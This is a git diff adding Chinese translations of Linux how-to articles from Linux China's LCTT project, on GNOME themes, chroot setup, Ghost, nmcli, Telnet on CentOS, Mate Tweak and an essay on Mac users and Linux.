主题 ### + +下面列举的主题都已经在 GNOME Shell 3.10.4 上进行了测试,但对于任何版本的 GNOME 3 或更高的版本,它们应该同样适用。需要指出的是,这些主题并没有按照任何优先顺序排列。下面就让我们看看这些最好的 GNOME 主题: + +#### Numix #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/02/mockups_numix_5.jpeg) + +任何没有提到 [Numix 主题][3] 的列表都是不完整的。这个主题是如此地受欢迎以至于 [Numix 团队开发出一个新的 Linux 操作系统, Ozon][4]。考虑到他们的设计作品 Numix 主题,把不久将发行的 `Ozon` 称为 [最美丽的 Linux 操作系统][5] 也不为过。 + +使用下面的命令,在基于 Ubuntu 的发行版本中安装 Numix 主题: + +``` +sudo apt-add-repository ppa:numix/ppa +sudo apt-get update +sudo apt-get install numix-icon-theme-circle +``` + +#### Elegance Colors #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Elegance_Colors_Theme_GNOME_Shell.jpeg) + +另一个美丽主题来自 Numix 团队成员之一 Satyajit Sahoo。[Elegance Colors][6] 拥有自己的 PPA (译者注: 即 Personal Package Archive 的缩写) 使得你可以轻松安装它: + +``` +sudo add-apt-repository ppa:satyajit-happy/themes +sudo apt-get update +sudo apt-get install gnome-shell-theme-elegance-colors +``` + +#### Moka #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Moka_GNOME_Shell.jpeg) + +[Moka][7] 是另一个迷人的主题,它总是位于美丽的主题列表之中。它是由 Unity Tweak Tool 的开发者所设计。 Moka 是你一定要尝试的主题: + +``` +sudo add-apt-repository ppa:moka/stable +sudo apt-get update +sudo apt-get install moka-gnome-shell-theme +``` + +#### Viva #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Viva_GNOME_Theme.jpg) + +基于 GNOME 的默认主题 Adwaita, Viva 是一个带有黑色和橙色阴影的美丽主题。你可以从下面的链接中下载 Viva: + +- [Download Viva GNOME Shell Theme][8] + +#### Ciliora-Prima #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Ciliora_Prima_Gnome_Shell.jpeg) + +以前它以 Zukitwo Dark 的名字为人们熟知, Ciliora-Prima 是一个拥有方块图标的主题,可使用的三种版本之间彼此略有不同。你可以从下面的链接中下载它们: + +- [Download Ciliora-Prima GNOME Shell Theme][9] + +#### Faience #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Faience_GNOME_Shell_Theme.jpeg) + +Faience 作为一个受欢迎的主题已经有一段时间了。你可以通过下面的 PPA 为 GNOME 3.10 及更高版本安装 Faience: + +``` +sudo add-apt-repository ppa:tiheum/equinox +sudo apt-get update +sudo apt-get install faience-theme +``` + +#### Paper [不完善] #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Paper_GTK_Theme.jpeg) + +自从 Google 提出 `Material Design`,人们一直为之疯狂。Paper GTK 主题受 Google Material design 启发,作者为 Sam Hewitt( Moka 项目开发者之一);它正处于开发中,这意味着当前你还不能拥有 Paper 的最好体验。假如你和我一样,具有一点实验精神,你绝对可以试一试。 + +``` +sudo add-apt-repository ppa:snwh/pulp +sudo apt-get update +sudo apt-get install paper-gtk-theme +``` + +以上就是我的列表。如果你正试着给你的 Ubuntu 换一个不同的模样,你也应该试试这个列表: [Ubuntu 14.04 中最好的图标主题][10]。 + +你是怎样找到这份 **最好的 GNOME shell 主题** 列表的呢?在上面列举的主题中,哪个是你最中意的? 如果它没有在这里列出,请一定在评论中告诉我们哪个是你心目中最好的 GNOME shell 主题 。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/gnome-shell-themes-ubuntu-1404/ + +作者:[Abhishek][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://itsfoss.com/how-to-install-gnome-in-ubuntu-14-04/ +[2]:http://itsfoss.com/install-switch-themes-gnome-shell/ +[3]:https://numixproject.org/ +[4]:http://itsfoss.com/numix-linux-distribution/ +[5]:http://itsfoss.com/new-beautiful-linux-2015/ +[6]:http://satya164.deviantart.com/art/Gnome-Shell-Elegance-Colors-305966388 +[7]:http://mokaproject.com/ +[8]:https://github.com/vivaeltopo/gnome-shell-theme-viva +[9]:http://zagortenay333.deviantart.com/art/Ciliora-Prima-Shell-451947568 +[10]:http://itsfoss.com/best-icon-themes-ubuntu-1404/ diff --git a/published/201502/20150114 How to Configure Chroot Environment in Ubuntu 14.04.md b/published/201502/20150114 How to Configure Chroot Environment in Ubuntu 14.04.md new file mode 100644 index 0000000000..250b223b2a --- /dev/null +++ b/published/201502/20150114 How to Configure Chroot Environment in Ubuntu 14.04.md @@ -0,0 +1,146 @@ +如何在 Ubuntu 14.04 里面配置 chroot 环境 +================================================================================ +你可能会有很多理由想要把一个应用、一个用户或者一个环境与你的 linux 系统隔离开来。不同的操作系统有不同的实现方式,而在 linux 中,一个典型的方式就是 chroot 环境。 + +在这份教程中,我会一步一步指导你怎么使用 chroot 命令去配置一个与真实系统分离出来的独立环境。这个功能主要可以用于测试项目,以下这些步骤都在 **Ubuntu 14.04** 虚拟专用服务器(VPS)上执行。 + +学会快速搭建一个简单的 chroot 环境是一项非常实用的技能,绝大多数系统管理员都能从中受益。 + +### Chroot 环境 ### + +一个 chroot 环境就是通过系统调用,将一个本地目录临时变成根目录。一般所说的系统根目录就是挂载点"/",然而使用 chroot 命令后,你可以使用其它目录作为根目录。 + +原则上,任何运行在 chroot 环境内的应用都不能访问系统中其他信息(LCTT译注:使用 chroot 把一个目录变成根目录,在里面运行的应用只能访问本目录内的文件,无法访问到目录外的文件。然而,运行在 chroot 环境的应用可以通过 sysfs 文件系统访问到环境外的信息,所以,这里有个“原则上”的修饰语)。 + +### Chroot 环境的用处 ### + +> - 测试一个不稳定的应用服务不会影响到整个主机系统。 +> +> - 就算使用 root 权限做了些不当的操作,把 chroot 环境搞得一塌糊涂,也不会影响到主机系统。 +> +> - 可以在你的系统中运行另外一个操作系统。 + +举个例子,你可以在 chroot 环境中编译、安装、测试软件,而不去动真实的系统。你也可以**在64位环境下使用 chroot 创建一个32位环境,然后运行一个32位的程序**(LCTT泽注:如果你的真实环境是32位的,那就不能 chroot 一个64位的环境了)。 + +但是为了安全考虑,chroot 环境为非特权用户设立了非常严格的限制,而不是提供完整的安全策略。如果你需要的是有完善的安全策略的隔离方案,可以考虑下 LXC、Docker、vservers等等。 + +### Debootstrap 和 Schroot ### + +使用 chroot 环境需要安装 **debootstrap** 和 **schroot**,这两个软件都在 Ubuntu 的镜像源中。其中 schroot 用于创建 chroot 环境。 + +**Debootstrap** 可以让你通过镜像源安装任何 Debian(或基于 Debian 的)系统,装好的系统会包含最基本的命令。 + +**Schroot** 命令允许用户使用相同的机制去创建 chroot 环境,但在访问 chroot 环境时会做些权限检查,并且会允许用户做些额外的自动设置,比如挂载一些文件系统。 + +在 Ubuntu 14.04 LTS 上,我们可以通过两步来实现这个功能: + +### 1. 安装软件包 ### + +第一步,在Ubuntu 14.04 LTS 主机系统上安装 debootstrap 和 schroot: + + $ sudo apt-get install debootstrap + $ sudo apt-get install schroot + +### 2. 配置 Schroot ### + +现在我们有工具在手,需要指定一个目录作为我们的 chroot 环境。这里创建一个目录先: + + sudo mkdir /linoxide + +编辑 schroot 的配置文件: + + sudo nano /etc/schroot/schroot.conf + +再提醒一下,我们现在是在 Ubuntu 14.04 LTS 系统上。如果我们想测试一个软件包能不能在 Ubuntu 13.10(代号是“Saucy Salamander”) 上运行,就可以在配置文件中添加下面的内容: + + [saucy] + description=Ubuntu Saucy + location=/linoxide + priority=3 + users=arun + root-groups=root + +![](http://blog.linoxide.com/wp-content/uploads/2014/12/schroot-config.png) + +根据你的系统要求,调整上面的配置信息。 + +### 3. 使用 debootstrap 安装32位 Ubuntu 系统 ### + +Debootstrap 命令会在你的 **chroot 环境**里面下载安装一个最小系统。只要你能访问镜像源,你就可以安装任何基于 Debian 的系统版本。 + +前面我们已经创建了 **/linoxide** 目录用于放置 chroot 环境,现在我们可以在这个目录里面运行 debootstrap 了: + + cd /linoxide + sudo debootstrap --variant=buildd --arch amd64 saucy /linoxide/ http://archive.ubuntu.com/ubuntu/ + sudo chroot /linoxide /debootstrap/debootstrap --second-stage + +你可以将 --arch 的参数换成 i386 或其他架构,只要存在这种架构的镜像源。你也可以把镜像源 http://archive.ubuntu.com/ubuntu/ 换成离你最近的镜像源,具体可参考 [Ubuntu 官方镜像主页][1]。 + +**注意:如果你是在64位系统中创建32位系统,你需要在上面第3行命令中加入 --foreign 选项,就像下面的命令:** + + sudo debootstrap --variant=buildd --foreign --arch i386 saucy /linoxide/ http://archive.ubuntu.com/ubuntu/ + +下载需要一段时间,看你网络带宽性能。最小系统大概有500M。 + +### 4. 完成 chroot 环境 ### + +安装完系统后,我们需要做一些收尾工作,确保系统运行正常。首先,保证主机的 fstab 程序能意识到 chroot 环境的存在: + + sudo nano /etc/fstab + +在文件最后面添加下面的配置: + + proc /linoxide/proc proc defaults 0 0 + sysfs /linoxide/sys sysfs defaults 0 0 + +保存并关闭文件。 + +挂载一些文件系统到 chroot 环境: + + $ sudo mount proc /linoxide/proc -t proc + $ sudo mount sysfs /linoxide/sys -t sysfs + +复制 /etc/hosts 文件到 chroot 环境,这样 chroot 环境就可以使用网络了: + + $ sudo cp /etc/hosts /linoxide/etc/hosts + +最后使用 schroot -l 命令列出系统上所有的 chroot 环境: + + $ schroot -l + +使用下面的命令进入 chroot 环境: + + $ sudo chroot /linoxide/ /bin/bash + +测试安装的版本: + + # lsb_release -a + # uname -a + +为了在 chroot 环境中使用图形界面,你需要设置 DISPLAY 环境变量: + + $ DISPLAY=:0.0 ./apps + +目前为止,我已经成功地在 Ubuntu 14.04 LTS 上安装了 Ubuntu 13.10。 + +退出 chroot 环境: + + # exit + +清理一下,卸载文件系统: + + $ sudo umount /test/proc + $ sudo umount /test/sys + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/configure-chroot-environment-ubuntu-14-04/ + +作者:[Arun Pyasi][a] +译者:[bazz2](https://github.com/bazz2) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:https://launchpad.net/ubuntu/+archivemirrors diff --git a/published/201502/20150114 How to Install Ghost on Ubuntu Server 14.04 LTS (Trusty).md b/published/201502/20150114 How to Install Ghost on Ubuntu Server 14.04 LTS (Trusty).md new file mode 100644 index 0000000000..ccbee5e704 --- /dev/null +++ b/published/201502/20150114 How to Install Ghost on Ubuntu Server 14.04 LTS (Trusty).md @@ -0,0 +1,74 @@ +如何在Ubuntu Server 14.04 LTS(Trusty) 上安装Ghost +================================================================================ +今天我们将会在Ubuntu Server 14.04 LTS (Trusty)上安装一个博客平台Ghost。 + +Ghost是一款设计优美的发布平台,很容易使用且对任何人都免费。它是免费的开源软件(FOSS),它的源码在Github上。截至2015年1月(LCTT 译注:原文为2014,应为2015),它的界面很简单还有分析面板。编辑使用的是很便利的分屏显示。 + +因此有了这篇步骤明确的在Ubuntu Server上安装Ghost的教程: + +### 1. 升级Ubuntu ### + +第一步是运行Ubuntu软件升级并安装一系列需要的额外包。 + + sudo apt-get update + sudo apt-get upgrade -y + sudo aptitude install -y build-essential zip vim wget + +### 2. 下载并安装 Node.js 源码 ### + + wget http://nodejs.org/dist/node-latest.tar.gz + tar -xzf node-latest.tar.gz + cd node-v* + +现在,我们使用下面的命令安装Node.js: + + ./configure + make + sudo make install + +### 3. 下载并安装Ghost ### + + sudo mkdir -p /var/www/ + cd /var/www/ + sudo wget https://ghost.org/zip/ghost-latest.zip + sudo unzip -d ghost ghost-latest.zip + cd ghost/ + sudo npm install --production + +### 4. 配置Ghost ### + + sudo nano config.example.js + +在“Production”字段,将: + + host: '127.0.0.1', + +修改成 + + host: '0.0.0.0', + +### 创建Ghost用户 ### + + sudo adduser --shell /bin/bash --gecos 'Ghost application' ghost + sudo chown -R ghost:ghost /var/www/ghost/ + +现在启动Ghost,你需要以“ghost”用户登录。 + + su - ghost + cd /var/www/ghost/ + +现在,你已经以“ghost”用户登录,并可启动Ghost: + + npm start --production + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/install-ghost-ubuntu-server-14-04/ + +作者:[Arun Pyasi][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ \ No newline at end of file diff --git a/published/201502/20150114 How to Manage Network using nmcli Tool in RedHat or CentOS 7.x.md b/published/201502/20150114 How to Manage Network using nmcli Tool in RedHat or CentOS 7.x.md new file mode 100644 index 0000000000..62bb475206 --- /dev/null +++ b/published/201502/20150114 How to Manage Network using nmcli Tool in RedHat or CentOS 7.x.md @@ -0,0 +1,92 @@ +如何在RedHat/CentOS 7.x中使用nmcli管理网络 +================================================================================ +[**Red Hat Enterprise Linux 7**][1]和**CentOS 7**的一个新特性是默认的网络服务由**NetworkManager**提供,这是一个动态的网络控制和配置守护进程,它在网络设备和连接可用时保持链接正常,同时也提供了典型的ifcfg类型的配置文件。NetworkManager可以用于下面这些连接:Ethernet、 VLANs、桥接、Bonds、Teams、 Wi-Fi、 移动宽带 (比如 3G)和IP-over-InfiniBand(IPoIB)。 + +NetworkManager可以由命令行工具**nmcli**控制。 + +### nmcli的通常用法 ### + +nmcli的通常语法是: + + # nmcli [ OPTIONS ] OBJECT { COMMAND | help } + +一件很酷的事情是你可以使用tab键来补全操作,这样你在何时忘记了语法你都可以按下tab来看到可用的选项了。 + +![nmcli tab](http://blog.linoxide.com/wp-content/uploads/2014/12/nmcli-tab.jpg) + +nmcli通常用法的一些例子: + + # nmcli general status + +会显示NetworkManager的整体状态。 + + # nmcli connection show + +会显示所有的连接 + + # nmcli connection show -a + +仅显示活跃的连接 + + # nmcli device status + +显示NetworkManager识别的设备列表和它们当前的状态。 + +![nmcli general](http://blog.linoxide.com/wp-content/uploads/2014/12/nmcli-gneral.jpg) + +### 启动/停止网络设备 ### + +你可以使用nmcli从命令行启动或者停止网络设备,这等同于ifconfig中的up和down。 + +停止网络设备使用下面的语法: + + # nmcli device disconnect eno16777736 + +要启动它使用下面的语法: + + # nmcli device connect eno16777736 + +### 添加一个使用静态IP的以太网连接 ### + +要用静态IP添加一个以太网连接可以使用下面的命令: + + # nmcli connection add type ethernet con-name NAME_OF_CONNECTION ifname INTERFACE-NAME ip4 IP_ADDRESS gw4 GW_ADDRESS + +将NAME_OF_CONNECTION替换成新的连接名(LCTT 译注:这个名字以后可以用来对其操作,可以使用任何简单明了的名称),INTERFACE-NAME 替换成你的接口名,IP_ADDRESS替换成你要的IP地址,GW_ADDRESS替换成你使用的网关地址(如果你并不使用网关,你可以忽略这部分)。 + + # nmcli connection add type ethernet con-name NEW_STATIC ifname eno16777736 ip4 192.168.1.141 gw4 192.168.1.1 + +要设置这个连接所使用的DNS服务器使用下面的命令: + + # nmcli connection modify NEW_STATIC ipv4.dns "8.8.8.8 8.8.4.4" + +要启用新的以太网连接,使用下面的命令: + + # nmcli connection up NEW_STATIC ifname eno16777736 + +要查看新配置连接的详细信息,使用下面的命令: + + # nmcli -p connection show NEW_STATIC + +![nmcli add static](http://blog.linoxide.com/wp-content/uploads/2014/12/nmcli-add-static.jpg) + +### 添加一个使用DHCP的连接 ### + +如果你想要添加一个使用DHCP来配置接口IP地址、网关地址和dns服务器地址的新的连接,你要做的就是忽略上述命令中的ip/gw部分,NetworkManager会自动使用DHCP来获取配置细节。 + +比如,要创建一个新的叫NEW_DHCP的DHCP连接,在设备eno16777736上你可以使用下面的命令: + + # nmcli connection add type ethernet con-name NEW_DHCP ifname eno16777736 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/nmcli-tool-red-hat-centos-7/ + +作者:[Adrian Dinu][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ +[1]:https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/7.0_Release_Notes/ diff --git a/published/201502/20150114 Installing Telnet In CentOS or RHEL or Scientific Linux 6 & 7.md b/published/201502/20150114 Installing Telnet In CentOS or RHEL or Scientific Linux 6 & 7.md new file mode 100644 index 0000000000..0777cc4d0d --- /dev/null +++ b/published/201502/20150114 Installing Telnet In CentOS or RHEL or Scientific Linux 6 & 7.md @@ -0,0 +1,159 @@ +在CentOS/RHEL/Scientific Linux 6 & 7 上安装Telnet +================================================================================ + +#### 声明: #### + +在安装和使用Telnet之前,需要记住以下几点。 + +- 在公网(WAN)中使用Telnet是非常不好的想法。它会以明文的格式传输登入数据。每个人都可以看到明文。 +- 如果你还是需要Telnet,强烈建议你只在局域网内部使用。 +- 你可以使用**SSH**作为替代方法。但是确保不要用root用户登录。 + +### Telnet是什么? ### + +[Telnet][1] 是用于通过TCP/IP网络远程登录计算机的协议。一旦与远程计算机建立了连接,它就会成为一个虚拟终端且允许你与远程计算机通信。 + +在本篇教程中,我们会展示如何安装Telnet并且如何通过Telnet访问远程系统。 + +### 安装 ### + +打开终端并输入下面的命令来安装telnet: + + yum install telnet telnet-server -y + +现在telnet已经安装在你的服务器上了。接下来编辑文件**/etc/xinetd.d/telnet**: + + vi /etc/xinetd.d/telnet + +设置 **disable = no**: + + # default: on + # description: The telnet server serves telnet sessions; it uses \ + # unencrypted username/password pairs for authentication. + service telnet + { + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/in.telnetd + log_on_failure += USERID + disable = no + } + +保存并退出文件。记住我们不必在CentOS 7做这步。 + +接下来使用下面的命令重启telnet服务: + +在CentOS 6.x 系统中: + + service xinetd start + +让这个服务在每次重启时都会启动: + +在CentOS 6上: + + chkconfig telnet on + chkconfig xinetd on + +在CentOS 7上: + + systemctl start telnet.socket + systemctl enable telnet.socket + +让telnet的默认端口**23**可以通过防火墙和路由器。要让telnet端口可以通过防火墙,在CentOS 6.x系统中编辑下面的文件: + + vi /etc/sysconfig/iptables + +加入如下行“-A INPUT -p tcp -m state --state NEW --dport 23 -j ACCEPT”: + + # Firewall configuration written by system-config-firewall + # Manual customization of this file is not recommended. + *filter + :INPUT ACCEPT [0:0] + :FORWARD ACCEPT [0:0] + :OUTPUT ACCEPT [0:0] + -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT + -A INPUT -p icmp -j ACCEPT + -A INPUT -i lo -j ACCEPT + -A INPUT -p tcp -m state --state NEW --dport 23 -j ACCEPT + -A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT + -A INPUT -j REJECT --reject-with icmp-host-prohibited + -A FORWARD -j REJECT --reject-with icmp-host-prohibited + COMMIT + +保存并退出文件。重启iptables服务: + + service iptables restart + +在CentOS 7中,运行下面的命令让telnet服务可以通过防火墙。 + + firewall-cmd --permanent --add-port=23/tcp + firewall-cmd --reload + +就是这样。现在telnet服务就可以使用了。 + +#### 创建用户 #### + +创建一个测试用户,比如用户名是“**sk**”,密码是“**centos**“: + + useradd sk + passwd sk + +#### 客户端配置 #### + +安装telnet包: + + yum install telnet + +在基于DEB的系统中: + + sudo apt-get install telnet + +现在,打开终端,尝试访问你的服务器(远程主机)。 + +如果你的客户端是Linux系统,打开终端并输入下面的命令来连接到telnet服务器上。 + + telnet 192.168.1.150 + +输入服务器上已经创建的用户名和密码: + +示例输出: + + Trying 192.168.1.150... + Connected to 192.168.1.150. + Escape character is '^]'. + + Kernel 3.10.0-123.13.2.el7.x86_64 on an x86_64 + server1 login: sk + Password: + [sk@server1 ~]$ + +如你所见,已经成功从本地访问远程主机了。 + +如果你的系统是windows,进入**开始 -> 运行 -> 命令提示符**。 + +在命令提示符中,输入命令: + + telnet 192.168.1.150 + +**192.168.1.150**是远程主机IP地址。 + +现在你就可以连接到你的服务器上了。 + +就是这样。 + +干杯! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/installing-telnet-centosrhelscientific-linux-6-7/ + +作者:[SK][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ +[1]:http://en.wikipedia.org/wiki/Telnet \ No newline at end of file diff --git a/published/201502/20150114 Why Mac users don't switch to Linux.md b/published/201502/20150114 Why Mac users don't switch to Linux.md new file mode 100644 index 0000000000..6125a676a4 --- /dev/null +++ b/published/201502/20150114 Why Mac users don't switch to Linux.md @@ -0,0 +1,81 @@ +为什么 Mac 用户不选择 Linux +================================================================================ +Linux 与 Mac 用户至少有一个共同点:他们都不太喜欢用 Windows。但除了这点外,二者再也无法达成其他共识,只得分道扬镳。为什么 Mac 用户不选择 Linux 呢?是什么因素致使 Mac 用户做出了这种选择的? + +[Datamation 就此问题做了一番调查][1],并试图进行解答。Datamation 的结论是,所有原因都只归结于众多应用及工作流程,而非操作系统的关系: + +> …某些事例表明,尝试用新应用代替现有应用,并不是很实际 - 对工作流程和整体实用性来说都是如此。但不幸的是,苹果在这些方面做得非常好。因此,在几乎不可能改变这些事实的情况下,想要拉拢那些 Mac忠实用户实在是很大的挑战。 + +> 不过老实来说,除了 Web 开发者,我还没见过 Mac 用户仅仅为了避免升级到 OS X Yosemite 而 “ +en masse”(法语:共同,一起) 尝试变更他们的工作流程。诚然,经历过 Yosemite 更新后 - 考虑过权限的用户应该会发现这方面已经变得非常令人讨厌。并且,OS X 除了在 UI 方面的微小变化,几乎没有改变,针对现有 Mac 用户的核心工作流程也在最大程度上保持了原样。 + +> 但,我相信 Linux 在未来将会继续保持多样化特点。Linux 会继续成长,但绝不是经过精确计量般得一成不变。 + +我大体上同意 Datamation 关于应用和工作流程重要性的结论,在选择操作系统时这两方面是必须要考虑顾及的。但我认为对 Mac 用户来说,选择 Mac 有比这两方面更重要的因素。我相信是不同的心态造就了 Linux 和 Mac 用户,并且我认为这才是为什么 Mac 用户不选择 Linux 的真实原因。 + +![](http://jimlynch.com/wp-content/uploads/2015/01/mac-users-switch-to-linux.jpeg) + +### 控制权才是 Linux 用户最看重的地方 ### +Linux 用户倾向于控制电脑上的所有细节,他们试图作出一切能做的努力使操作系统变成他们想要的样子。但这种方式并不适用于 OS X 以及其他任何苹果的产品。如果你使用了苹果的产品,就意味着绝大多数情况下,你只能按照苹果预先设定的模式来使用它们。 + +对 Mac(以及 iOS)用户来说这没什么,因为他们似乎并不在乎生活在苹果那围墙高筑的花园里,仅仅使用那些苹果给予他们的标准和选择。但这对绝大多数 Linux 用户来说是完全不能接受的。Linux 的新用户通常来自 Windows,正是从那里,他们开始厌恶那些告诉他们什么才叫操作系统,并试图限制操作系统权限的东西。 + +自从他们尝到使用自由的 Linux 系统所带来的甜头之后,他们就再也不会回到苹果或者微软的监牢里去了。即使在他们死后,把 Linux 从他们那冰冷僵硬的手指中撬出来,他们也不会接受苹果和微软为他们定制的操作系统。 + +但绝大部分 Mac 用户不会有这样的意志和决心。对他们来说当苹果升级 OS X 时放弃他们现有的习惯方式是非常容易的。在苹果那围墙高筑的花园里,即使他们不满意苹果的变化,他们也会迅速地接受。 + +因此,对控制权的渴望是 Mac 用户与 Linux 用户的最大不同。但我并未把它视为一个问题,尽管这反映出使用电脑的两类用户截然不同的态度。 + +### Mac 用户离不开苹果的技术支持 ### + +Linux 用户与 Mac 用户的区别也体现在 Linux 用户并不介意亲自维护自己的电脑。虽然维护电脑及控制操作系统都是很大的责任,但 Linux 用户还是愿意独自承担,愿意通过自己的力量使他们的系统工作得更棒更有效率,并且深入了解操作系统是每一位 Linux 用户都乐衷的事情。 + +当 Linux 用户遇到问题时,他们会迅速地尝试自己来解决问题。如果这不奏效的话,他们会在网上搜索其他Linux用户的解决方案,并不断进行尝试,直到问题解决。 + +但 Mac 用户却不大会这样。这也许是为什么苹果零售店如此火爆、为什么如此多的 Mac 用户在拿到新 Mac 的时候会选择购买苹果维护服务的原因。Mac 用户会很轻易得带着 TA 的电脑去苹果零售店,走进天才吧并要求苹果的工作人员为其查看和修复电脑。 + +绝大多数 Linux 用户连想都不会想这种事情。谁会愿意让一个你都不认识的家伙碰你的电脑并维修它呢? + +因此对 Mac 用户来说,很难抛弃过去可以从苹果那里得到的技术支持,转而使用 Linux。这种选择会令某些 Mac 用户觉得自己的电脑将变得非常脆弱、容易被攻击,他们如同离开母亲怀抱的婴儿般充满了无助感。 + +### Mac 用户喜爱苹果的硬件 ### + +Datamation 发表的文章中主要研究了软件方面的原因,但我认为硬件因素同样对 Mac 用户有很大影响。绝大部分 Mac 用户非常喜爱苹果的硬件。TA 们购买 Mac 并不仅仅是为了 OS X。苹果那精美的工艺设计也是 Mac 用户购买时着重考虑的一点。Mac 用户愿意支付高价购买电脑,因为他们认为这样绝对是物有所值的。 + +另一方面,Linux 用户似乎并不会考虑这些东西。我认为他们更关注电脑的花费,而不太在意电脑的外观和设计。对他们来说,花费最少的金钱来获取尽可能好的硬件才是最重要的。他们并不像 Mac 用户一样热衷于电脑的外观,因此这一点并不是他们在购买电脑时考虑的地方。 + +我认为对于硬件的两种不同观点是没有高低之分的。这仅仅和用户的不同需求有关,仅仅会在他们购买电脑时影响他们,或者对某些 Linux 用户来说只是因为他们想要自己组装电脑而已。两种观点只是因为出发点不同、对于电脑的真正价值体现所在之处的理解不同罢了。 + +当然[在 Mac 上运行 Linux 是可能的][2],直接运行或者间接地通过虚拟机运行。因此真心喜欢苹果硬件的 Mac 用户是可以选择在 Mac 上安装 Linux 的。 + +### Linux 发行版太多了不知道选哪个? ### + +另一个让 Mac 用户无法选择 Linux 的原因是:要从众多 Linux 发行版当中选择一个实在是太困难了。在大多数 Linuxer 并不抗拒的多元化发行版时代,没有相关知识的 Mac 用户会对如何选择感到十分困惑。 + +我认为,随着时间的推移,Mac 用户可以学习并找出最适合自己的发行版。但在短时间内,尤其是长时期得使用 OS X 之后,这是一个艰巨的任务。我不认为这个问题是无法克服的,但却有必要在这里提一下。 + +当然我们可以给大家提供资源,推荐参考 [DistroWatch][3] 还有我们的博客 [Desktop Linux Reviews][4],这都有助于 Mac 用户找到适合的 Linux 发行版。再说一条,网上有很多诸如“最好的 Linux 发行版”等类似的文章,当 Mac 用户想要寻找适合自己使用的发行版时可以参考一下。 + +但有苹果顾客购买 Mac 的其中一个原因是苹果硬件软件协调统一起来的简便性和易用性。所以我不确定有多少 Mac 用户愿意花费时间找出适合自己的 Linux 发行版。也许是否要使用 Linux 确实会令TA们考虑一阵子了。 + +### Mac 用户是苹果,Linux 用户是橘子 ### + +Mac 用户与 Linux 用户分道扬镳我认为并没有什么不妥。我认为我们只是在谈论两类完全不同的人群,这是一件好事,因为两类人群都在按自己喜欢的方式去使用操作系统和软件。让 Mac 用户和 Linux 用户各自沉浸在 OS X 和 Linux 中吧,希望他们都能高兴,都能对自己的电脑满意。 + +也许 Mac 用户会偶然走入 Linux 的世界并开始转向 Linux,但我认为绝大多数时候,两类人都愿意呆在不同的世界并不与对方接触。通常来说我并不会随意比较二者,尤其是你已经自己拿定主意的时候,况且这只不过是选苹果还是选橘子的问题罢了。 + +-------------------------------------------------------------------------------- + +via: http://jimlynch.com/linux-articles/why-mac-users-dont-switch-to-linux/ + +作者:[Jim Lynch][a] +译者:[Stevearzh](https://github.com/Stevearzh) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://jimlynch.com/author/Jim/ +[1]:http://www.datamation.com/open-source/why-linux-isnt-winning-over-mac-users-1.html +[2]:http://www.howtogeek.com/187410/how-to-install-and-dual-boot-linux-on-a-mac/ +[3]:http://distrowatch.com/ +[4]:http://desktoplinuxreviews.com/ diff --git a/published/201502/20150115 Configure Mate Desktop With Mate Tweak.md b/published/201502/20150115 Configure Mate Desktop With Mate Tweak.md new file mode 100644 index 0000000000..3b2f1c972b --- /dev/null +++ b/published/201502/20150115 Configure Mate Desktop With Mate Tweak.md @@ -0,0 +1,33 @@ +使用Mate Tweak配置Mate桌面 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Mate_Tweak.jpeg) + +[在Ubuntu中安装Mate桌面][1]是一码事但是你或许想要知道如何**配置Mate桌面**? 大多数桌面环境都有它们自己的调整工具。比如Unity有Unity Tweak,Gnome有Gnome Tweak,Elementary OS有 Elementary OS Teweak。好消息是Mate桌面也有它自己的调整工具,叫Mate Tweak][2]。 + +Mate Tweak是[mintDesktop][3]的克隆分支,那是一款Linux Mint的配置工具。 + +### 安装Mate Tweak来配置Mate桌面 ### + +Mate Tweak可以通过官方的PPA很简单地在Ubuntu和基于Ubuntu的系统中安装。打开终端,输入下面的命令: + + sudo add-apt-repository ppa:ubuntu-mate-dev/ppa + sudo apt-get update + sudo apt-get install mate-tweak + +你可以控制桌面的显示、按钮的布局和其他界面微调和窗口行为。与Unity和Gnome的调整工具比起来,Mate Tweak没有提供太多的调整选项。比如你还不能用它[改变主题][4],但是至少它提供了一个简单的方法来改变一些配置。我希望它可以在不久的将来提供更多的特性。 + 